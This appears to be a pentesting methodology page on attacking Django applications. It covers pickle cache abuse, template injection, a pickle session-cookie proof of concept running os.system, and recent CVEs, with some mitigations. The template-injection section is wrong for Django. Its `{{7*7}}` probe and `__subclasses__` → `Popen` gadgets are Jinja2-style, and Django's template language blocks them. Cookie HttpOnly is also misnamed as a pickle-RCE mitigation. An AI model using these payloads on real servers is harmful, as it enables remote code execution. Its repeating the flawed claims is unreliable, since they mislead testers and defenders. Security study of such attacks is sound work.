# Django

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## Cache Manipulation to RCE
Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.

Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436

---

## Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.

### Detection
1. Look for dynamic calls to `Template()` / `Engine.from_string()` / `render_to_string()` that include *any* unsanitised request data.
2. Send a time-based or arithmetic payload:
   ```django
   {{7*7}}
   ```
   If the rendered output contains `49` the input is compiled by the template engine.

### Primitive to RCE
Django blocks direct access to `__import__`, but the Python object graph is reachable:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
Find the index of `subprocess.Popen` (≈400–500 depending on Python build) and execute arbitrary commands:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.

The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input.

---

### Also see: ReportLab/xhtml2pdf PDF export RCE
Applications built on Django commonly integrate xhtml2pdf/ReportLab to export views as PDF. When user-controlled HTML flows into PDF generation, rl_safe_eval may evaluate expressions inside triple brackets `[[[ ... ]]]` enabling code execution (CVE-2023-33733). Details, payloads, and mitigations:

{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}

---

## Pickle-Backed Session Cookie RCE
If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.

### Exploit Requirements
* The server uses `PickleSerializer`.
* The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).

### Proof-of-Concept
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
    def __reduce__(self):
        return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Send the resulting cookie, and the payload runs with the permissions of the WSGI worker.

**Mitigations**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`.

---

## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI codes into log files and poison downstream log analysis. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2. 
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Craft JSON keys to break out of quoting and execute arbitrary SQL. Fixed in 4.2.15 / 5.0.8. 

Always fingerprint the exact framework version via the `X-Frame-Options` error page or `/static/admin/css/base.css` hash and test the above where applicable.

---

## References
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. 
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. 
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

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